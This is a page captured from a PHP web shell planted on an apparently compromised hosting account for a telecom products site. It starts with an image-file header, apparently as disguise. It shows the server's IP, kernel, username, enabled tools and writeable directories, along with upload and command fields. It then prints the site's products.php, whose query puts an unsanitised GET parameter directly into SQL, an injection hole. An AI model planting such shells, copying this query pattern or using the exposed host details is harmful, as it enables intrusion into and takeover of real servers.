���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.122  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/rfconnector.info/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/rfconnector.info/public_html/products.php
<?php
include('includes/config.php');
if (!isset($_GET['subcategory_id'])) {
    die("Subcategory ID missing!");
}
$subcategory_id = $_GET['subcategory_id']; 
$query = "SELECT * FROM products WHERE category = '$subcategory_id'"; 
$result = mysqli_query($con, $query);
if (!$result) {
    die("Product Query Failed: " . mysqli_error($con));
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="keywords" content="">
    <title>Synergy Telecom - All Products</title>
    <?php include('include/assets.php'); ?>
</head>
<style>
    .productImgs img {
    border-radius: 6px;
    border: 1px solid #DED8D3;
}
</style>
<body>
    <?php include('include/header.php'); ?>
    
    <section class="breadcrumb-header style-2" id="page" style="background: radial-gradient(circle, rgb(235 27 35) -24%, rgb(63 71 204) 100%); filter: saturate(0.5);">
        <div class="overlay"></div>
        <div class="container">
            <div class="row">
                <div class="col-md-8">
                    <div class="banner">
                        <h1>Subcategory Products</h1>
                        <ul>
                            <li><a href="index.php">Home</a></li>
                            <li><i class="fas fa-angle-right"></i></li>
                            <li>Subcategory</li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </section>
    
    <section class="products py-100-70">
        <div class="container">
            <div class="sec-title home-2">
                <div class="row">
                    <div class="col-lg-5">
                        <h2>Featured Products</h2>
                        <h3>Explore our premium selection of products</h3>
                    </div>
                    <div class="col-lg-7 d-flex align-items-center">
                        <p class="sec-explain">Synergy Telecom offers high-quality products that meet the diverse needs of industries. Explore our range of products and find the perfect solution for your needs.</p>
                    </div>
                </div>
            </div>
            
            <div class="row">
                <?php
                if (mysqli_num_rows($result) > 0) {
                    // Loop through the products and display them
                    while ($product = mysqli_fetch_assoc($result)) {

                        $imagePath = 'product-admin/' . $product['productImage1'];

                        // Sanitize the image path to prevent any issues
                        $imagePath = htmlspecialchars($imagePath, ENT_QUOTES, 'UTF-8');
                        ?>
                        <div class="col-md-6 col-lg-4 my-5">
                            <div class="product-item productImgs">
                                <div class="img-box">
                                    <a href="product_details.php?id=<?php echo $product['id']; ?>" class="open-post">
                                        <img class="img-fluid" src="<?php echo $imagePath; ?>" alt="<?php echo $product['productName']; ?>">
                                    </a>
                                </div>
                                <div class="text-box">
                                    <a href="product_details.php?id=<?php echo $product['id']; ?>" >
                                        <h5 class="text-dark my-3"><?php echo $product['productName']; ?></h5>
                                    </a>
                                    <!--<p><?php echo $product['productDescription']; ?></p> -->
                                    <a href="product_details.php?id=<?php echo $product['id']; ?>" class="btn-1 btn-3 link"><span>Read More</span></a>
                                </div>
                            </div>
                        </div>
                    <?php }
                } else {
                   
                    echo '<div class="col-12 text-center" style="color: black; font-size: 24px; padding-top: 50px;"><h2>No Products Found</h2></div>';
                }
                ?>
            </div>
        </div>
    </section>

    <?php include('include/footer.php'); ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit